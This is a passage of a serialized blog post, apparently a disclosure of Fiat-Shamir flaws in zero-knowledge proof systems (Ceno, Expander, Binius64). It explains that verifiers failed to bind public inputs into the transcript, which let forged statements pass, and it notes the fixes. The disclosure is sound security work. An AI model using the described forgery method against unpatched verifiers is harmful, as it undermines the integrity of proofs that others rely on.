style":92750},[3751],[120495],{"type":26,"tag":475,"props":120496,"children":120497},{},[],{"type":26,"tag":475,"props":120499,"children":120501},{"className":120500,"style":3801},[3800],[],{"type":26,"tag":475,"props":120503,"children":120505},{"className":120504},[3806],[120506],{"type":32,"value":110741},{"type":26,"tag":475,"props":120508,"children":120510},{"className":120509,"style":3801},[3800],[],{"type":26,"tag":475,"props":120512,"children":120514},{"className":120513},[3708],[120515,120519,120576,120580,120585],{"type":26,"tag":475,"props":120516,"children":120518},{"className":120517,"style":120087},[3713],[],{"type":26,"tag":475,"props":120520,"children":120522},{"className":120521},[3719],[120523,120528],{"type":26,"tag":475,"props":120524,"children":120526},{"className":120525},[3719,21296],[120527],{"type":32,"value":18984},{"type":26,"tag":475,"props":120529,"children":120531},{"className":120530},[3736],[120532],{"type":26,"tag":475,"props":120533,"children":120535},{"className":120534},[3741,21350],[120536,120565],{"type":26,"tag":475,"props":120537,"children":120539},{"className":120538},[3746],[120540,120560],{"type":26,"tag":475,"props":120541,"children":120543},{"className":120542,"style":92719},[3751],[120544],{"type":26,"tag":475,"props":120545,"children":120546},{"style":92723},[120547,120551],{"type":26,"tag":475,"props":120548,"children":120550},{"className":120549,"style":3761},[3760],[],{"type":26,"tag":475,"props":120552,"children":120554},{"className":120553},[3766,3767,3768,3769],[120555],{"type":26,"tag":475,"props":120556,"children":120558},{"className":120557},[3719,3769],[120559],{"type":32,"value":3722},{"type":26,"tag":475,"props":120561,"children":120563},{"className":120562},[21453],[120564],{"type":32,"value":21456},{"type":26,"tag":475,"props":120566,"children":120568},{"className":120567},[3746],[120569],{"type":26,"tag":475,"props":120570,"children":120572},{"className":120571,"style":92750},[3751],[120573],{"type":26,"tag":475,"props":120574,"children":120575},{},[],{"type":26,"tag":475,"props":120577,"children":120579},{"className":120578,"style":3801},[3800],[],{"type":26,"tag":475,"props":120581,"children":120583},{"className":120582},[3806],[120584],{"type":32,"value":1106},{"type":26,"tag":475,"props":120586,"children":120588},{"className":120587,"style":3801},[3800],[],{"type":26,"tag":475,"props":120590,"children":120592},{"className":120591},[3708],[120593,120597,120602,120606,120611],{"type":26,"tag":475,"props":120594,"children":120596},{"className":120595,"style":92582},[3713],[],{"type":26,"tag":475,"props":120598,"children":120600},{"className":120599},[3719,21296],[120601],{"type":32,"value":621},{"type":26,"tag":475,"props":120603,"children":120605},{"className":120604,"style":3898},[3800],[],{"type":26,"tag":475,"props":120607,"children":120609},{"className":120608},[3903],[120610],{"type":32,"value":786},{"type":26,"tag":475,"props":120612,"children":120614},{"className":120613,"style":3898},[3800],[],{"type":26,"tag":475,"props":120616,"children":120618},{"className":120617},[3708],[120619,120623],{"type":26,"tag":475,"props":120620,"children":120622},{"className":120621,"style":93698},[3713],[],{"type":26,"tag":475,"props":120624,"children":120626},{"className":120625},[3719],[120627],{"type":32,"value":3732},{"type":26,"tag":35,"props":120629,"children":120630},{},[120631],{"type":32,"value":120632},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":26,"tag":35,"props":120634,"children":120635},{},[120636,120640,120642,120649,120651,120658],{"type":26,"tag":105,"props":120637,"children":120638},{},[120639],{"type":32,"value":116189},{"type":32,"value":120641}," Fixed on March 5, 2026 via ",{"type":26,"tag":116,"props":120643,"children":120646},{"href":120644,"rel":120645},"https://github.com/scroll-tech/ceno/pull/1262",[120],[120647],{"type":32,"value":120648},"PR #1262",{"type":32,"value":120650}," (original report: ",{"type":26,"tag":116,"props":120652,"children":120655},{"href":120653,"rel":120654},"https://github.com/scroll-tech/ceno/issues/1125",[120],[120656],{"type":32,"value":120657},"#1125",{"type":32,"value":2835},{"type":26,"tag":18502,"props":120660,"children":120661},{},[],{"type":26,"tag":41,"props":120663,"children":120665},{"id":120664},"expander-polyhedra",[120666],{"type":32,"value":120667},"Expander (Polyhedra)",{"type":26,"tag":35,"props":120669,"children":120670},{},[120671],{"type":32,"value":120672},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":26,"tag":35,"props":120674,"children":120675},{},[120676],{"type":26,"tag":105,"props":120677,"children":120678},{},[120679],{"type":32,"value":114895},{"type":26,"tag":465,"props":120681,"children":120683},{"code":120682},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[120684],{"type":26,"tag":53,"props":120685,"children":120686},{"__ignoreMap":7},[120687],{"type":32,"value":120682},{"type":26,"tag":35,"props":120689,"children":120690},{},[120691,120693,120699],{"type":32,"value":120692},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":26,"tag":53,"props":120694,"children":120696},{"className":120695},[],[120697],{"type":32,"value":120698},"eval_cst",{"type":32,"value":120700}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":26,"tag":465,"props":120702,"children":120704},{"code":120703,"language":2684,"meta":7,"className":2685,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[120705],{"type":26,"tag":53,"props":120706,"children":120707},{"__ignoreMap":7},[120708],{"type":26,"tag":475,"props":120709,"children":120710},{"class":477,"line":478},[120711,120715,120720,120725,120729,120733,120737,120741,120746,120750,120755,120760,120764,120769],{"type":26,"tag":475,"props":120712,"children":120713},{"style":2375},[120714],{"type":32,"value":76261},{"type":26,"tag":475,"props":120716,"children":120717},{"style":714},[120718],{"type":32,"value":120719}," -=",{"type":26,"tag":475,"props":120721,"children":120722},{"style":505},[120723],{"type":32,"value":120724}," GKRVerifierHelper",{"type":26,"tag":475,"props":120726,"children":120727},{"style":714},[120728],{"type":32,"value":3187},{"type":26,"tag":475,"props":120730,"children":120731},{"style":493},[120732],{"type":32,"value":120698},{"type":26,"tag":475,"props":120734,"children":120735},{"style":499},[120736],{"type":32,"value":626},{"type":26,"tag":475,"props":120738,"children":120739},{"style":714},[120740],{"type":32,"value":2816},{"type":26,"tag":475,"props":120742,"children":120743},{"style":2375},[120744],{"type":32,"value":120745},"layer",{"type":26,"tag":475,"props":120747,"children":120748},{"style":714},[120749],{"type":32,"value":353},{"type":26,"tag":475,"props":120751,"children":120752},{"style":499},[120753],{"type":32,"value":120754},"const_, ",{"type":26,"tag":475,"props":120756,"children":120757},{"style":2375},[120758],{"type":32,"value":120759},"public_input",{"type":26,"tag":475,"props":120761,"children":120762},{"style":499},[120763],{"type":32,"value":637},{"type":26,"tag":475,"props":120765,"children":120766},{"style":2375},[120767],{"type":32,"value":120768},"sp",{"type":26,"tag":475,"props":120770,"children":120771},{"style":499},[120772],{"type":32,"value":3533},{"type":26,"tag":35,"props":120774,"children":120775},{},[120776,120778,120783],{"type":32,"value":120777},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":26,"tag":53,"props":120779,"children":120781},{"className":120780},[],[120782],{"type":32,"value":120768},{"type":32,"value":20450},{"type":26,"tag":35,"props":120785,"children":120786},{},[120787],{"type":26,"tag":105,"props":120788,"children":120789},{},[120790],{"type":32,"value":120791},"The vulnerability:",{"type":26,"tag":35,"props":120793,"children":120794},{},[120795,120800],{"type":26,"tag":53,"props":120796,"children":120798},{"className":120797},[],[120799],{"type":32,"value":120759},{"type":32,"value":120801}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":26,"tag":35,"props":120803,"children":120804},{},[120805],{"type":26,"tag":132,"props":120806,"children":120809},{"alt":120807,"src":120808},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":26,"tag":35,"props":120811,"children":120812},{},[120813,120814,120819],{"type":32,"value":16319},{"type":26,"tag":53,"props":120815,"children":120817},{"className":120816},[],[120818],{"type":32,"value":120698},{"type":32,"value":120820}," function computes a linear combination:",{"type":26,"tag":35,"props":120822,"children":120823},{},[120824],{"type":26,"tag":53,"props":120825,"children":120827},{"className":120826},[3691,3692],[120828],{"type":26,"tag":475,"props":120829,"children":120831},{"className":120830},[3697],[120832],{"type":26,"tag":475,"props":120833,"children":120835},{"className":120834,"ariaHidden":3703},[3702],[120836,120881,121005],{"type":26,"tag":475,"props":120837,"children":120839},{"className":120838},[3708],[120840,120844,120853,120858,120868,120872,120877],{"type":26,"tag":475,"props":120841,"children":120843},{"className":120842,"style":94080},[3713],[],{"type":26,"tag":475,"props":120845,"children":120847},{"className":120846},[3719,32],[120848],{"type":26,"tag":475,"props":120849,"children":120851},{"className":120850},[3719],[120852],{"type":32,"value":37242},{"type":26,"tag":475,"props":120854,"children":120856},{"className":120855,"style":92667},[3719],[120857],{"type":32,"value":2789},{"type":26,"tag":475,"props":120859,"children":120861},{"className":120860},[3719,32],[120862],{"type":26,"tag":475,"props":120863,"children":120865},{"className":120864},[3719],[120866],{"type":32,"value":120867},"cst",{"type":26,"tag":475,"props":120869,"children":120871},{"className":120870,"style":3898},[3800],[],{"type":26,"tag":475,"props":120873,"children":120875},{"className":120874},[3903],[120876],{"type":32,"value":786},{"type":26,"tag":475,"props":120878,"children":120880},{"className":120879,"style":3898},[3800],[],{"type":26,"tag":475,"props":120882,"children":120884},{"className":120883},[3708],[120885,120889,120946,120950,120977,120982,120987,120992,120996,121001],{"type":26,"tag":475,"props":120886,"children":120888},{"className":120887,"style":92609},[3713],[],{"type":26,"tag":475,"props":120890,"children":120892},{"className":120891},[21332],[120893,120898],{"type":26,"tag":475,"props":120894,"children":120896},{"className":120895,"style":21339},[21332,21337,21338],[120897],{"type":32,"value":108274},{"type":26,"tag":475,"props":120899,"children":120901},{"className":120900},[3736],[120902],{"type":26,"tag":475,"props":120903,"children":120905},{"className":120904},[3741,21350],[120906,120935],{"type":26,"tag":475,"props":120907,"children":120909},{"className":120908},[3746],[120910,120930],{"type":26,"tag":475,"props":120911,"children":120913},{"className":120912,"style":113686},[3751],[120914],{"type":26,"tag":475,"props":120915,"children":120916},{"style":21363},[120917,120921],{"type":26,"tag":475,"props":120918,"children":120920},{"className":120919,"style":3761},[3760],[],{"type":26,"tag":475,"props":120922,"children":120924},{"className":120923},[3766,3767,3768,3769],[120925],{"type":26,"tag":475,"props":120926,"children":120928},{"className":120927},[3719,21296,3769],[120929],{"type":32,"value":3445},{"type":26,"tag":475,"props":120931,"children":120933},{"className":120932},[21453],[120934],{"type":32,"value":21456},{"type":26,"tag":475,"props":120936,"children":120938},{"className":120937},[3746],[120939],{"type":26,"tag":475,"props":120940,"children":120942},{"className":120941,"style":113966},[3751],[120943],{"type":26,"tag":475,"props":120944,"children":120945},{},[],{"type":26,"tag":475,"props":120947,"children":120949},{"className":120948,"style":3839},[3800],[],{"type":26,"tag":475,"props":120951,"children":120953},{"className":120952},[3719],[120954,120963,120968],{"type":26,"tag":475,"props":120955,"children":120957},{"className":120956},[3719,32],[120958],{"type":26,"tag":475,"props":120959,"children":120961},{"className":120960},[3719],[120962],{"type":32,"value":61367},{"type":26,"tag":475,"props":120964,"children":120966},{"className":120965,"style":92667},[3719],[120967],{"type":32,"value":2789},{"type":26,"tag":475,"props":120969,"children":120971},{"className":120970},[3719,32],[120972],{"type":26,"tag":475,"props":120973,"children":120975},{"className":120974},[3719],[120976],{"type":32,"value":8078},{"type":26,"tag":475,"props":120978,"children":120980},{"className":120979},[21425],[120981],{"type":32,"value":3440},{"type":26,"tag":475,"props":120983,"children":120985},{"className":120984},[3719,21296],[120986],{"type":32,"value":3445},{"type":26,"tag":475,"props":120988,"children":120990},{"className":120989},[21447],[120991],{"type":32,"value":15117},{"type":26,"tag":475,"props":120993,"children":120995},{"className":120994,"style":3801},[3800],[],{"type":26,"tag":475,"props":120997,"children":120999},{"className":120998},[3806],[121000],{"type":32,"value":110741},{"type":26,"tag":475,"props":121002,"children":121004},{"className":121003,"style":3801},[3800],[],{"type":26,"tag":475,"props":121006,"children":121008},{"className":121007},[3708],[121009,121013,121022,121027,121032,121037,121041,121090],{"type":26,"tag":475,"props":121010,"children":121012},{"className":121011,"style":3821},[3713],[],{"type":26,"tag":475,"props":121014,"children":121016},{"className":121015},[3719,32],[121017],{"type":26,"tag":475,"props":121018,"children":121020},{"className":121019},[3719],[121021],{"type":32,"value":112068},{"type":26,"tag":475,"props":121023,"children":121025},{"className":121024},[21425],[121026],{"type":32,"value":626},{"type":26,"tag":475,"props":121028,"children":121030},{"className":121029},[3719,21296],[121031],{"type":32,"value":3445},{"type":26,"tag":475,"props":121033,"children":121035},{"className":121034},[3832],[121036],{"type":32,"value":3835},{"type":26,"tag":475,"props":121038,"children":121040},{"className":121039,"style":3839},[3800],[],{"type":26,"tag":475,"props":121042,"children":121044},{"className":121043},[3719,111628],[121045],{"type":26,"tag":475,"props":121046,"children":121048},{"className":121047},[3741],[121049],{"type":26,"tag":475,"props":121050,"children":121052},{"className":121051},[3746],[121053],{"type":26,"tag":475,"props":121054,"children":121056},{"className":121055,"style":111714},[3751],[121057,121069],{"type":26,"tag":475,"props":121058,"children":121059},{"style":111645},[121060,121064],{"type":26,"tag":475,"props":121061,"children":121063},{"className":121062,"style":111650},[3760],[],{"type":26,"tag":475,"props":121065,"children":121067},{"className":121066,"style":92667},[3719,21296],[121068],{"type":32,"value":93486},{"type":26,"tag":475,"props":121070,"children":121071},{"style":111645},[121072,121076],{"type":26,"tag":475,"props":121073,"children":121075},{"className":121074,"style":111650},[3760],[],{"type":26,"tag":475,"props":121077,"children":121079},{"className":121078,"style":111738},[111668],[121080],{"type":26,"tag":475,"props":121081,"children":121083},{"className":121082,"style":111744},[111743],[121084],{"type":26,"tag":33968,"props":121085,"children":121086},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[121087],{"type":26,"tag":111756,"props":121088,"children":121089},{"d":111758},[],{"type":26,"tag":475,"props":121091,"children":121093},{"className":121092},[21447],[121094],{"type":32,"value":2835},{"type":26,"tag":35,"props":121096,"children":121097},{},[121098,121099,121168,121170,121175,121177,121182],{"type":32,"value":115315},{"type":26,"tag":53,"props":121100,"children":121102},{"className":121101},[3691,3692],[121103],{"type":26,"tag":475,"props":121104,"children":121106},{"className":121105},[3697],[121107],{"type":26,"tag":475,"props":121108,"children":121110},{"className":121109,"ariaHidden":3703},[3702],[121111],{"type":26,"tag":475,"props":121112,"children":121114},{"className":121113},[3708],[121115,121119],{"type":26,"tag":475,"props":121116,"children":121118},{"className":121117,"style":111714},[3713],[],{"type":26,"tag":475,"props":121120,"children":121122},{"className":121121},[3719,111628],[121123],{"type":26,"tag":475,"props":121124,"children":121126},{"className":121125},[3741],[121127],{"type":26,"tag":475,"props":121128,"children":121130},{"className":121129},[3746],[121131],{"type":26,"tag":475,"props":121132,"children":121134},{"className":121133,"style":111714},[3751],[121135,121147],{"type":26,"tag":475,"props":121136,"children":121137},{"style":111645},[121138,121142],{"type":26,"tag":475,"props":121139,"children":121141},{"className":121140,"style":111650},[3760],[],{"type":26,"tag":475,"props":121143,"children":121145},{"className":121144,"style":92667},[3719,21296],[121146],{"type":32,"value":93486},{"type":26,"tag":475,"props":121148,"children":121149},{"style":111645},[121150,121154],{"type":26,"tag":475,"props":121151,"children":121153},{"className":121152,"style":111650},[3760],[],{"type":26,"tag":475,"props":121155,"children":121157},{"className":121156,"style":111738},[111668],[121158],{"type":26,"tag":475,"props":121159,"children":121161},{"className":121160,"style":111744},[111743],[121162],{"type":26,"tag":33968,"props":121163,"children":121164},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[121165],{"type":26,"tag":111756,"props":121166,"children":121167},{"d":111758},[],{"type":32,"value":121169}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":26,"tag":53,"props":121171,"children":121173},{"className":121172},[],[121174],{"type":32,"value":120759},{"type":32,"value":121176},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":26,"tag":53,"props":121178,"children":121180},{"className":121179},[],[121181],{"type":32,"value":120759},{"type":32,"value":121183}," that makes the verifier's check pass.",{"type":26,"tag":35,"props":121185,"children":121186},{},[121187,121191,121193,121200,121201,121204,121211],{"type":26,"tag":105,"props":121188,"children":121189},{},[121190],{"type":32,"value":116189},{"type":32,"value":121192}," Fixed on 21st January 2026 via ",{"type":26,"tag":116,"props":121194,"children":121197},{"href":121195,"rel":121196},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[120],[121198],{"type":32,"value":121199},"commit 4a8c2be",{"type":32,"value":6171},{"type":26,"tag":30672,"props":121202,"children":121203},{},[],{"type":26,"tag":116,"props":121205,"children":121208},{"href":121206,"rel":121207},"https://blog.polyhedra.network/expander-bug-bounty/",[120],[121209],{"type":32,"value":121210},"Claimed 500k Bug bounty",{"type":32,"value":121212}," award pending",{"type":26,"tag":18502,"props":121214,"children":121215},{},[],{"type":26,"tag":41,"props":121217,"children":121219},{"id":121218},"binius64",[121220],{"type":32,"value":107322},{"type":26,"tag":35,"props":121222,"children":121223},{},[121224,121226,121353],{"type":32,"value":121225},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":26,"tag":53,"props":121227,"children":121229},{"className":121228},[3691,3692],[121230],{"type":26,"tag":475,"props":121231,"children":121233},{"className":121232},[3697],[121234],{"type":26,"tag":475,"props":121235,"children":121237},{"className":121236,"ariaHidden":3703},[3702],[121238],{"type":26,"tag":475,"props":121239,"children":121241},{"className":121240},[3708],[121242,121247],{"type":26,"tag":475,"props":121243,"children":121246},{"className":121244,"style":121245},[3713],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":26,"tag":475,"props":121248,"children":121250},{"className":121249},[3719],[121251,121258],{"type":26,"tag":475,"props":121252,"children":121255},{"className":121253},[3719,121254],"mathbb",[121256],{"type":32,"value":121257},"F",{"type":26,"tag":475,"props":121259,"children":121261},{"className":121260},[3736],[121262],{"type":26,"tag":475,"props":121263,"children":121265},{"className":121264},[3741,21350],[121266,121341],{"type":26,"tag":475,"props":121267,"children":121269},{"className":121268},[3746],[121270,121336],{"type":26,"tag":475,"props":121271,"children":121273},{"className":121272,"style":111811},[3751],[121274],{"type":26,"tag":475,"props":121275,"children":121277},{"style":121276},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[121278,121282],{"type":26,"tag":475,"props":121279,"children":121281},{"className":121280,"style":3761},[3760],[],{"type":26,"tag":475,"props":121283,"children":121285},{"className":121284},[3766,3767,3768,3769],[121286],{"type":26,"tag":475,"props":121287,"children":121289},{"className":121288},[3719,3769],[121290],{"type":26,"tag":475,"props":121291,"children":121293},{"className":121292},[3719,3769],[121294,121299],{"type":26,"tag":475,"props":121295,"children":121297},{"className":121296},[3719,3769],[121298],{"type":32,"value":2830},{"type":26,"tag":475,"props":121300,"children":121302},{"className":121301},[3736],[121303],{"type":26,"tag":475,"props":121304,"children":121306},{"className":121305},[3741],[121307],{"type":26,"tag":475,"props":121308,"children":121310},{"className":121309},[3746],[121311],{"type":26,"tag":475,"props":121312,"children":121315},{"className":121313,"style":121314},[3751],"height:0.7463em;",[121316],{"type":26,"tag":475,"props":121317,"children":121318},{"style":111936},[121319,121323],{"type":26,"tag":475,"props":121320,"children":121322},{"className":121321,"style":108339},[3760],[],{"type":26,"tag":475,"props":121324,"children":121326},{"className":121325},[3766,108344,108345,3769],[121327],{"type":26,"tag":475,"props":121328,"children":121330},{"className":121329},[3719,3769],[121331],{"type":26,"tag":475,"props":121332,"children":121334},{"className":121333},[3719,3769],[121335],{"type":32,"value":29550},{"type":26,"tag":475,"props":121337,"children":121339},{"className":121338},[21453],[121340],{"type":32,"value":21456},{"type":26,"tag":475,"props":121342,"children":121344},{"className":121343},[3746],[121345],{"type":26,"tag":475,"props":121346,"children":121349},{"className":121347,"style":121348},[3751],"height:0.1776em;",[121350],{"type":26,"tag":475,"props":121351,"children":121352},{},[],{"type":32,"value":121354}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":26,"tag":35,"props":121356,"children":121357},{},[121358,121360,121365],{"type":32,"value":121359},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":26,"tag":105,"props":121361,"children":121362},{},[121363],{"type":32,"value":121364},"Shift Protocol",{"type":32,"value":121366}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":26,"tag":35,"props":121368,"children":121369},{},[121370],{"type":26,"tag":105,"props":121371,"children":121372},{},[121373],{"type":32,"value":120791},{"type":26,"tag":35,"props":121375,"children":121376},{},[121377],{"type":32,"value":121378},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":26,"tag":465,"props":121380,"children":121382},{"code":121381,"language":2684,"meta":7,"className":2685,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[121383],{"type":26,"tag":53,"props":121384,"children":121385},{"__ignoreMap":7},[121386,121421,121446,121480,121488],{"type":26,"tag":475,"props":121387,"children":121388},{"class":477,"line":478},[121389,121393,121397,121401,121405,121409,121413,121417],{"type":26,"tag":475,"props":121390,"children":121391},{"style":482},[121392],{"type":32,"value":13397},{"type":26,"tag":475,"props":121394,"children":121395},{"style":482},[121396],{"type":32,"value":13402},{"type":26,"tag":475,"props":121398,"children":121399},{"style":493},[121400],{"type":32,"value":7877},{"type":26,"tag":475,"props":121402,"children":121403},{"style":499},[121404],{"type":32,"value":5519},{"type":26,"tag":475,"props":121406,"children":121407},{"style":505},[121408],{"type":32,"value":121257},{"type":26,"tag":475,"props":121410,"children":121411},{"style":499},[121412],{"type":32,"value":637},{"type":26,"tag":475,"props":121414,"children":121415},{"style":505},[121416],{"type":32,"value":115708},{"type":26,"tag":475,"props":121418,"children":121419},{"style":499},[121420],{"type":32,"value":6302},{"type":26,"tag":475,"props":121422,"children":121423},{"class":477,"line":516},[121424,121429,121433,121437,121442],{"type":26,"tag":475,"props":121425,"children":121426},{"style":2375},[121427],{"type":32,"value":121428}," constraint_system",{"type":26,"tag":475,"props":121430,"children":121431},{"style":714},[121432],{"type":32,"value":179},{"type":26,"tag":475,"props":121434,"children":121435},{"style":714},[121436],{"type":32,"value":6854},{"type":26,"tag":475,"props":121438,"children":121439},{"style":505},[121440],{"type":32,"value":121441},"ConstraintSystem",{"type":26,"tag":475,"props":121443,"children":121444},{"style":499},[121445],{"type":32,"value":2425},{"type":26,"tag":475,"props":121447,"children":121448},{"class":477,"line":539},[121449,121453,121457,121461,121465,121470,121475],{"type":26,"tag":475,"props":121450,"children":121451},{"style":2375},[121452],{"type":32,"value":7234},{"type":26,"tag":475,"props":121454,"children":121455},{"style":714},[121456],{"type":32,"value":179},{"type":26,"tag":475,"props":121458,"children":121459},{"style":714},[121460],{"type":32,"value":6854},{"type":26,"tag":475,"props":121462,"children":121463},{"style":499},[121464],{"type":32,"value":3440},{"type":26,"tag":475,"props":121466,"children":121467},{"style":505},[121468],{"type":32,"value":121469},"Word",{"type":26,"tag":475,"props":121471,"children":121472},{"style":499},[121473],{"type":32,"value":121474},"], ",{"type":26,"tag":475,"props":121476,"children":121477},{"style":552},[121478],{"type":32,"value":121479},"// \u003C- NEVER ABSORBED\n",{"type":26,"tag":475,"props":121481,"children":121482},{"class":477,"line":548},[121483],{"type":26,"tag":475,"props":121484,"children":121485},{"style":552},[121486],{"type":32,"value":121487}," // ...\n",{"type":26,"tag":475,"props":121489,"children":121490},{"class":477,"line":558},[121491,121495,121499,121503,121507,121512,121516,121520,121524,121528],{"type":26,"tag":475,"props":121492,"children":121493},{"style":499},[121494],{"type":32,"value":2794},{"type":26,"tag":475,"props":121496,"children":121497},{"style":714},[121498],{"type":32,"value":13464},{"type":26,"tag":475,"props":121500,"children":121501},{"style":505},[121502],{"type":32,"value":13469},{"type":26,"tag":475,"props":121504,"children":121505},{"style":499},[121506],{"type":32,"value":5519},{"type":26,"tag":475,"props":121508,"children":121509},{"style":505},[121510],{"type":32,"value":121511},"VerifyOutput",{"type":26,"tag":475,"props":121513,"children":121514},{"style":499},[121515],{"type":32,"value":5519},{"type":26,"tag":475,"props":121517,"children":121518},{"style":505},[121519],{"type":32,"value":121257},{"type":26,"tag":475,"props":121521,"children":121522},{"style":499},[121523],{"type":32,"value":6344},{"type":26,"tag":475,"props":121525,"children":121526},{"style":505},[121527],{"type":32,"value":37092},{"type":26,"tag":475,"props":121529,"children":121530},{"style":499},[121531],{"type":32,"value":5706},{"type":26,"tag":35,"props":121533,"children":121534},{},[121535,121537,121543,121544,121550,121552,121556],{"type":32,"value":121536},"In the shift protocol, challenges ",{"type":26,"tag":53,"props":121538,"children":121540},{"className":121539},[],[121541],{"type":32,"value":121542},"r_j",{"type":32,"value":209},{"type":26,"tag":53,"props":121545,"children":121547},{"className":121546},[],[121548],{"type":32,"value":121549},"inout_eval_point",{"type":32,"value":121551}," are sampled ",{"type":26,"tag":105,"props":121553,"children":121554},{},[121555],{"type":32,"value":104023},{"type":32,"value":121557}," the public witness is bound.",{"type":26,"tag":35,"props":121559,"children":121560},{},[121561],{"type":26,"tag":105,"props":121562,"children":121563},{},[121564],{"type":32,"value":114911},{"type":26,"tag":35,"props":121566,"children":121567},{},[121568],{"type":26,"tag":132,"props":121569,"children":121572},{"alt":121570,"src":121571},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":26,"tag":35,"props":121574,"children":121575},{},[121576],{"type":32,"value":121577},"During verification",{"type":26,"tag":181,"props":121579,"children":121580},{},[121581,121601,121613,121632],{"type":26,"tag":86,"props":121582,"children":121583},{},[121584,121586,121591,121593,121599],{"type":32,"value":121585},"Sumcheck produces challenge points ",{"type":26,"tag":53,"props":121587,"children":121589},{"className":121588},[],[121590],{"type":32,"value":121542},{"type":32,"value":121592}," (bit indices) and ",{"type":26,"tag":53,"props":121594,"children":121596},{"className":121595},[],[121597],{"type":32,"value":121598},"r_s",{"type":32,"value":121600}," (shift indices)",{"type":26,"tag":86,"props":121602,"children":121603},{},[121604,121606,121611],{"type":32,"value":121605},"Verifier samples ",{"type":26,"tag":53,"props":121607,"children":121609},{"className":121608},[],[121610],{"type":32,"value":121549},{"type":32,"value":121612}," from transcript",{"type":26,"tag":86,"props":121614,"children":121615},{},[121616,121618,121624,121626,121631],{"type":32,"value":121617},"Verifier computes ",{"type":26,"tag":53,"props":121619,"children":121621},{"className":121620},[],[121622],{"type":32,"value":121623},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":32,"value":121625}," using the unbound ",{"type":26,"tag":53,"props":121627,"children":121629},{"className":121628},[],[121630],{"type":32,"value":61367},{"type":32,"value":17841},{"type":26,"tag":86,"props":121633,"children":121634},{},[121635,121636,121642],{"type":32,"value":16319},{"type":26,"tag":53,"props":121637,"children":121639},{"className":121638},[],[121640],{"type":32,"value":121641},"public_eval",{"type":32,"value":121643}," feeds into subsequent verification equations",{"type":26,"tag":35,"props":121645,"children":121646},{},[121647],{"type":32,"value":121648},"The MLE evaluation is linear in the public witness bits:",{"type":26,"tag":35,"props":121650,"children":121651},{},[121652],{"type":26,"tag":53,"props":121653,"children":121655},{"className":121654},[3691,3692],[121656],{"type":26,"tag":475,"props":121657,"children":121659},{"className":121658},[3697],[121660],{"type":26,"tag":475,"props":121661,"children":121663},{"className":121662,"ariaHidden":3703},[3702],[121664,121708,121848,121960],{"type":26,"tag":475,"props":121665,"children":121667},{"className":121666},[3708],[121668,121672,121681,121686,121695,121699,121704],{"type":26,"tag":475,"props":121669,"children":121671},{"className":121670,"style":94080},[3713],[],{"type":26,"tag":475,"props":121673,"children":121675},{"className":121674},[3719,32],[121676],{"type":26,"tag":475,"props":121677,"children":121679},{"className":121678},[3719],[121680],{"type":32,"value":61367},{"type":26,"tag":475,"props":121682,"children":121684},{"className":121683,"style":92667},[3719],[121685],{"type":32,"value":2789},{"type":26,"tag":475,"props":121687,"children":121689},{"className":121688},[3719,32],[121690],{"type":26,"tag":475,"props":121691,"children":121693},{"className":121692},[3719],[121694],{"type":32,"value":37242},{"type":26,"tag":475,"props":121696,"children":121698},{"className":121697,"style":3898},[3800],[],{"type":26,"tag":475,"props":121700,"children":121702},{"className":121701},[3903],[121703],{"type":32,"value":786},{"type":26,"tag":475,"props":121705,"children":121707},{"className":121706,"style":3898},[3800],[],{"type":26,"tag":475,"props":121709,"children":121711},{"className":121710},[3708],[121712,121716,121788,121792,121805,121810,121815,121820,121825,121830,121835,121839,121844],{"type":26,"tag":475,"props":121713,"children":121715},{"className":121714,"style":118241},[3713],[],{"type":26,"tag":475,"props":121717,"children":121719},{"className":121718},[21332],[121720,121725],{"type":26,"tag":475,"props":121721,"children":121723},{"className":121722,"style":21339},[21332,21337,21338],[121724],{"type":32,"value":108274},{"type":26,"tag":475,"props":121726,"children":121728},{"className":121727},[3736],[121729],{"type":26,"tag":475,"props":121730,"children":121732},{"className":121731},[3741,21350],[121733,121777],{"type":26,"tag":475,"props":121734,"children":121736},{"className":121735},[3746],[121737,121772],{"type":26,"tag":475,"props":121738,"children":121740},{"className":121739,"style":113151},[3751],[121741],{"type":26,"tag":475,"props":121742,"children":121743},{"style":21363},[121744,121748],{"type":26,"tag":475,"props":121745,"children":121747},{"className":121746,"style":3761},[3760],[],{"type":26,"tag":475,"props":121749,"children":121751},{"className":121750},[3766,3767,3768,3769],[121752],{"type":26,"tag":475,"props":121753,"children":121755},{"className":121754},[3719,3769],[121756,121762,121767],{"type":26,"tag":475,"props":121757,"children":121760},{"className":121758,"style":121759},[3719,21296,3769],"margin-right:0.02691em;",[121761],{"type":32,"value":49264},{"type":26,"tag":475,"props":121763,"